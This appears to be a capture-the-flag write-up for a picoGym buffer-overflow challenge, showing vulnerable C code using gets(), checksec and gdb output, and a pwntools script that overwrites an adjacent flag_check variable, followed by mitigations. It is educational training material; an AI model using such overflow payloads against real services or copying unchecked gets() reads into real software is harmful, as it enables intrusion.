The binary reads user input into a fixed-size buffer without checking its length (gets()). By sending an input longer than the buffer, we overwrite an adjacent variable in memory (int flag_check) which, once set to a non-zero value, triggers the flag display.
| Platform | picoGym |
| Category | Binary Exploitation (Pwn) |
| Points | 200 pts |
| Difficulty | Intermediate |
| Technique | Buffer overflow, pwntools |
The challenge provides a vuln binary along with its C source code. It contains a vuln() function that declares a fixed-size buffer followed by a control variable, and reads user input without ever checking its length:
void vuln(){
char buf[64];
int flag_check = 0;
printf("Please enter your string: \n");
gets(buf);
if (flag_check == 0x1) {
printf("Attempting to read flag\n");
print_flag();
} else {
printf("Value: 0x%x\n", flag_check);
printf("Better luck next time!\n");
}
}
The goal is clear: force flag_check to hold 1 (or any non-zero value interpreted as such) so the program calls print_flag().
The key point is the order in which variables are declared inside vuln(): buf[64] is declared just before flag_check. On most x86/x86-64 architectures, with default compiler optimizations, local variables are placed on the stack in an order that makes them adjacent in memory — flag_check ends up right after buf, at higher addresses.
In practice, this means that writing beyond the buffer's 64 bytes causes the extra bytes to overflow directly into the memory space occupied by flag_check.
First, we check which memory protections are active on the binary using checksec (provided by pwntools):
$ checksec ./vuln
[*] '/home/user/bof0/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
No stack canary is present: nothing detects a stack overwrite before the return. This is consistent with an introductory challenge — we can overwrite flag_check without triggering any alarm.
The source code shows char buf[64]. Thanks to the usual memory alignment (often 4 or 8 bytes on the compiler side), flag_check sits right after these 64 bytes. We can confirm this with gdb by setting a breakpoint after the read and inspecting the addresses of both variables:
gdb-peda$ break *vuln+80
gdb-peda$ run
gdb-peda$ p &buf
$1 = (char (*)[64]) 0x7ffee2a1b3a0
gdb-peda$ p &flag_check
$2 = (int *) 0x7ffee2a1b3e0
The difference between the two addresses (0x3e0 - 0x3a0 = 0x40, i.e. 64 in decimal) confirms that exactly 64 bytes of padding are enough to reach flag_check.
The payload is simple: 64 padding bytes (any value) followed by the 4 bytes representing the integer 1 in little-endian, to overwrite flag_check with a non-zero value.
from pwn import *
# context.log_level = 'debug'
elf = context.binary = ELF('./vuln')
# io = process('./vuln') # test locally
io = remote('mercury.picoctf.net', 12345) # connect to the remote service
offset = 64
payload = b'A' * offset
payload += p32(0x1) # overwrite flag_check with 1
io.recvuntil(b'string: \n')
io.sendline(payload)
print(io.recvall().decode())
We run the exploit. The program reads our 68-byte input, overwrites flag_check, enters the if block, and calls print_flag():
$ python3 exploit.py
[+] Opening connection to mercury.picoctf.net on port 12345: Done
Please enter your string:
Attempting to read flag
picoCTF{***************************}
[*] Closed connection to mercury.picoctf.net port 12345
The flag is deliberately hidden — follow the method, you've earned it. 💪
This challenge is the classic entry point into pwn: understanding that the stack is a contiguous memory space, and that nothing prevents an unbounded write from "overflowing" from one variable into another.
gets() — the function was removed from the C11 standard precisely for this reasonfgets() or strncpy(), which take a maximum size as a parameter-fstack-protector-all, full RELRO, PIE) to make exploitation much harder in productionRedirect execution to a win() function by overwriting the return address.
Discuss this writeup with the community on the CTFdojo Discord.
Join the Discord →